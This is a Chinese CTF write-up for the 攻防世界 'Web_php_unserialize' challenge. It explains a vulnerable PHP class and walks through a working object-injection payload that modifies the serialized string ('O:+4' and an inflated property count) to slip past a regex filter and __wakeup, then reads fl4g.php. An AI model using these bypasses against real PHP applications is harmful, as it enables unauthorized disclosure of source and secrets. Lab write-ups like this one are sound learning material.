# 【攻防世界】 Web_php_unserialize writeup

原创

今天CTF了吗 已于 2022-04-19 17:08:31 修改 124 收藏
分类专栏： 攻防世界 文章标签： php
于 2022-04-19 17:01:26 首次发布



```php
<?php
class Demo {
        private $file = 'index.php';
        public function __construct($file) {
                $this->file = $file;
        }
        function __destruct() {
                echo @highlight_file($this->file, true);
        }
        function __wakeup() {
                if ($this->file != 'index.php') {
                        //the secret is in the f14g.php
                        $this->file = 'index.php';
                }
        }
}
if (isset($_GET['var'])) {
        $var = base64_decode($_GET['var']);
        if (preg_match('/[oc]:\d+:/i', $var)) {
                die('stop hacking!');
        } else {
                @unserialize($var);
        }
} else {
        highlight_file("index.php");
}
?>
```



代码分析：

很明显这是一道PHP反序列化题，首先判断当前是否存在 GET 参数 ” var ”， 若存在则对其进行 Base64 解码后，存入 $var 变量 . 若不存在则输出当前页面源码，对 $var 进行一个正则过滤， 若通过正则过滤， 则对其进行反序列化操作，否则响应提示信息

> **1. 魔法函数（不需要调用即可执行）**
>
> __wakeup() 该方法是PHP反序列化时执行的第一个方法， unserialize()会先检查是否存在 __wakeup()方法， 若存在则会先调用该方法， 来预先准备对象需要的资源( 比如重新建立数据库连接， 执行其他初始化操作等等 )。
> __construct() 与其它 OOP( 面向对象 ) 语言类似， PHP中也存在构造方法，具有构造方法的类会在每次创建新对象前调用此方法，该方法常用于完成一些初始化工作。
> __destruct() 析构方法， 当某个对象的所有引用都被删除或者当对象被显式销毁时， 析构函数会被执行 。
>
> **2. preg_match()函数**（用于执行一个正则表达式匹配）PHP preg_match() 函数 | 菜鸟教程（详戳）

返回 pattern 的匹配次数。 它的值将是 0 次（不匹配）或 1 次，因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此，它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

**实例**

**查找文本字符串"php":**

```
<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串 php。";
} else {
    echo "未发现匹配的字符串 php。";
}
?>
```

执行结果如下所示：

```
查找到匹配的字符串 php。
```



**3. highlight_file()函数**

PHP highlight_file() 函数 | 菜鸟教程（详戳）

**实例**

对测试文件（"test.php"）进行 PHP 语法高亮显示：

```
<html>
<body>
<?php
highlight_file("test.php");
?>
</body>
</html>
```

上面代码的浏览器输出如下（取决于文件中的内容）：

```
<html>
<body>
<?php
echo ("test.php");
?>
</body>
```



定义和用法

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

**提示：**用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

**注释：**当使用该函数时，整个文件都将被显示，包括密码和其他敏感信息！

**基本函数：**

serialize()：用于序列化对象或数组，并返回一个字符串返回带有变量类型和值的字符串

> unserialize()：将通过serialize()函数序列化后的对象或数组进行反序列化，并返回
>
> 原始的对象结构

```
<?php
class Demo {          #定义一个以Demo为名的类
    private $file = 'index.php';   #给Demo类定义一个$file属性，并且赋值为index.php
    public function __construct($file) {  #定义__construct()构造方法
        $this->file = $file;     #在调用对象之前，给$file属性初始化赋值
    }
    function __destruct() {     #定义一个__destruct()析构方法
        echo @highlight_file($this->file, true); #在销毁对象之前，高亮打印出$file属性的源码
    }
    function __wakeup() {      #定义一个__wakeup()魔术方法
        if ($this->file != 'index.php') { #在对象反序列化的时候，判断$file属性的值是否为index.php
            //the secret is in the fl4g.php #提示flag在一个以fl4g.php为名的php文件里
            $this->file = 'index.php';   #若$file属性不等于index.php，则赋值为index.php
        }
    }
}
if (isset($_GET['var'])) {      #判断客户端是否以GET形式传递$var参数到后台
    $var = base64_decode($_GET['var']);  #若传递了，先经过base64解码一次
    if (preg_match('/[oc]:\d+:/i', $var)) { #解码后，判断是否匹配正则
        die('stop hacking!');     #若匹配正则，则退出，并且回应“stop hacking”
    } else {        #若没有匹配正则，则反序列化$var属性
        @unserialize($var);
    }
} else {          #若没有传递$var参数到后台,则高亮回显index.php的源码
    highlight_file("index.php");
}
?>
```

解题思路：其实说了这麼多，最重要的是如何绕过_wakeup()?

本题中__wakeup()函数的作用为 : 将 $file 变量强制赋值为 index.php，而题目又提示 flag 在 fl4g.php 中,所以我们需要绕过!

我们知道在执行 unserialize 之前会先调用 wakeup 函数，我们需要对其进行绕过，__wakeup()存在一个缺陷__wakeup 触发于 unserilize()调用之前，但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时，会导致反序列化失败而同时使得__wakeup 失效

后面对$var进行了正则匹配，所以还需要绕过正则表达式。首先去掉正则匹配的这段代码并实例化一个Demo对象，看看序列化后的字符串长什么样子

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$obj = new Demo("fl4g.php");
$str = serialize($obj);
echo $str,PHP_EOL;
?>
```



```
O:4:"Demo":1:{s:10:"□Demo□file";s:8:"fl4g.php";}
```

把O:4改为O:+4绕过preg_match()的正则匹配，把:1:改为:2:绕过__wakeup函数(比1大就行)

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$obj = new Demo("fl4g.php");
$str = serialize($obj);
$str = str_replace('O:4','O:+4',$str);
$str = str_replace(':1:',':2:',$str);
echo base64_encode($str);
?>
```



```
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ
==
```

不安全 | 111.200.241.244:61451/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

```
<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>
```